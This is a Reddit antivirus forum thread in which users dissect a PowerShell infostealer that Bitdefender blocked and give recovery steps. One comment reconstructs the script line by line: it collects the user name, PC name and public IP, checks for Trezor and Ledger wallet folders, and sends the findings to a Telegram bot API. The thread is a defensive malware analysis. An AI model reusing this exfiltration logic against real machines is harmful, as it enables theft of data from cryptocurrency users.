Skip to main content Bitdefender blocked this : r/antivirus
Go to antivirus
[deleted]

Bitdefender blocked this

Sorry, this post was deleted by the person who originally posted it.
Best
Open comment sort options
[deleted]

yes. you can clearly see it connects to a telegram bot

Profile Badge for the Achievement Top 1% Commenter Top 1% Commenter

This is an Infostealer script.

  • It pulls your username, computer name, and public IP address.

  • It checks your AppData\Roaming folder for Trezor Suite and Ledger Live

  • it bundles your info into a message and sends it to a specific Telegram bot

Malwarebytes found nothing because this is a fileless attack.

I think someone who knows how to do FRST (Farbar Recovery Scan Tool) is the best option here to remove whatever is triggering the script.

If you use a Ledger or Trezor:

Your seed phrase probably safe. but the attackers now know that this IP address belongs to a crypto user. This makes you a target for more phishing or wrench attacks.

I’m not a crypto user so from that perspective I’m safe. I’m not a FRST expert and I don’t know what to remove. Would you suggest me to wipe everything and reinstall Win10?

Use anti malware softwares or something like tron to do fully search on pc. Also disconnect pc from your internet.

2 more replies

Or just use Farbar this guy looks much more experienced so he knows what he is talking about. Use the software he is talking about to remove this virus and remember what downloaded last so that you don’t fall for this again or something.

Profile Badge for the Achievement Top 1% Commenter Top 1% Commenter

Download FRST (FRST64) from BleepingComputer: https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/

Run it as administrator and click Disk Scan

It will create FRST.txt and Addition.txt

Upload both logs to pastebin.com (set as unlisted) and share the links here. No personal information is listed in these logs besides your computer name.

9 more replies More replies

I am so pumped i found someone mentioning a Wrench Attack in public!! I wish you the best sir, and good luck op

EDITED

More replies

This is a fileless malware doing malicious PowerShell execution. I am not bothering to decide what this shit does but it is obfuscated and I don't wanna reverse engineer it. Most likely an info stealer.

Did you recently see cloudflare telling you to download something? Or some captcha or cloudflare telling you to do windows + r and then Ctrl + v for verification? If yes that might be an infection vector.

For people not tech savvy enough to investigate manually system deeply or confident enough to use advanced tools, I recommend replacing bitdefender and malwarebytes with Comodo CIS Premium. It has advanced hips functionality, script analysis (very trigger happy) and good docs. Read docs and setup rules for apps like browser or crypto data dirs to not be accessible by sketchy shit. Then crank up the script analysis stuff to maximum and make hips stricter. Monitor the firewall network connectivity. Comodo is a bit laggy but has an impressive and mostly easy to use (if you read short docs) toolkit for everything. I think because of that it'd deal well with fileless malware like malicious she'll scripts.

Make sure to also change your passwords and listen to whatever other people here say. They be sometimes giving REALLY GOOD advice.

It's a bitcoin stealer Check for bitcoin, check for wallet. If both are found, contact telegram bot, presumable to pass the wallet info to the bot, which then sends it to the perp.

Maybe I dunno.

Edited

"For people not tech savvy enough to investigate manually system deeply or confident enough to use advanced tools, I recommend replacing bitdefender and malwarebytes with Comodo CIS Premium. It has advanced hips functionality, script analysis (very trigger happy) and good docs. Read docs and setup rules for apps like browser or crypto data dirs to not be accessible by sketchy shit. Then crank up the script analysis stuff to maximum and make hips stricter. Monitor the firewall network connectivity. Comodo is a bit laggy but has an impressive and mostly easy to use (if you read short docs) toolkit for everything. I think because of that it'd deal well with fileless malware like malicious she'll scripts."

You don't need any of that to analyze what the malware does. Even AI could do it for you for free.

The script looks like it was written by AI

Code Snippet What it's doing
$user=(Get-WmiObject -Class Win32_ComputerSystem).UserName; Queries the system for the currently logged-in user.
if (-not $user) { $user = $env:USERNAME } Fallback: If WMI fails, it grabs the username from the environment variables.
$pc=$env:COMPUTERNAME; Grabs the local name of the machine.
$timestamp=(Get-Date -Format 'yyyy-MM-dd HH:mm:ss'); Logs exactly when the script executed.
$ip=(Invoke-RestMethod -Uri 'https://api.ipify.org?format=json').ip; Network Recon: It pings a legitimate public API to find your external IP address.
$roaming="C:Users$userAppDataRoaming"; Defines the path where most crypto wallet "Local State" and metadata are stored.
$wallets=@(); Creates an empty list (array) to store any "hits" it finds.
if (Test-Path "$roaming@trezor") { $wallets += 'Trezor Suite FOUND' }; Targeting: Checks if a Trezor wallet folder exists.
if (Test-Path "$roamingLedger Live") { $wallets += 'Ledger Live FOUND' }; Targeting: Checks if a Ledger Live folder exists.
if ($wallets.Count -gt 0) { ... } The "Payload" logic: If at least one wallet was found, proceed to exfiltrate.
Invoke-RestMethod -Uri 'https://api.telegram(.)org/bot[ID]/sendMessage' ... Exfiltration: Uses the Telegram API to send your PC name, User, IP, and Wallet status to the attacker's private chat.

I looked at the endpoint url and thought it was obfuscated shit. I was kinda reading it when it was late, sorry. Thought it looked obfuscated. When reading stuff late sometimes text just looks funny to me.

1 more reply More replies

No obfuscation at all in that script, grabs current user, PC name ,ip, checks for wallets in the users appdata/roaming folder and sends details to a telegram account via an API call

Ia it possible to trace this back to the telegram account?

1 more reply More replies

It's not obfuscated at all

More replies
[deleted]

Comment deleted by user

That's one of those "namespace is forever" bugs - Windows 11 ships with 5.1 but it's stored in that directory.

Profile Badge for the Achievement Top 1% Commenter Top 1% Commenter

You have likely been infected with an Infostealer.

Here is a guide another redditor created to recover from this:

Isolate the Infected Machine

Disconnect from WiFi or unplug the Ethernet cable. Do not log into anything on this PC.

Grab a different clean device

Do not change your passwords on the infected computer. The malware could be logging your keystrokes. Use your phone, a tablet, or a friends clean PC for the next steps.

Secure Your Accounts

Your Email: Change the password to your primary email account(s). If an attacker controls your email, they can reset the passwords for everything else.

Password Manager: If you use one, change the master password.

Enable 2FA using an authenticator app (not SMS)

Remove Active Sessions.

Infostealers steal session cookies. This allows attackers to bypass your 2FA because they trick the server into thinking they are you, already logged in.

Go into the security settings of your major accounts and click "Log out of all devices" or "Revoke active sessions."

Changing your password usually does this automatically, but doing it manually guarantees it.

Change Other Passwords

Now that your email is safe and sessions are killed, change the passwords for your banking, crypto exchanges, gaming accounts, and social media.

Your Financials (if any)

Check your bank and credit card accounts for unauthorized charges. Move any crypto out of browser extensions like MetaMask that were installed on the infected PC to a secure newly created wallet.

Consider placing a temporary freeze on your credit if sensitive files (like tax returns or IDs) were on your hard drive.

Deal with the Infected PC

(RECOMMENDED) A full format and clean reinstall of Windows is the best option.

(NOT RECOMMENDED) If you cannot factory reset, follow a offline scanning process (using Malwarebytes, HitmanPro, and Emsisoft), but understand there is always a slight risk of a infection.

Warn Your Contacts

Attackers use hijacked accounts to spam the same malware to your friends. Let them know your account was compromised.

Yeah, it connects some entity on telegram, passing data to it, like IP addresses, date and time, version of the OS. That’s the thing about PowerShell, you can keep piping commands together, into one long string.

a virus tried stealing your crypto wallet. time to format and reinstall your entire OS.

The command is checking for active users to steal a wallet (Idk what a Ledger wallet is) from and it uses the POST to send the data via Telegram AP

The command line itself is not infected but you need to find out which file invoked it. If you dont have much IT experience just wipe the drive and call it a loss

Wallet grabber, legit block. Please run a full system check for safety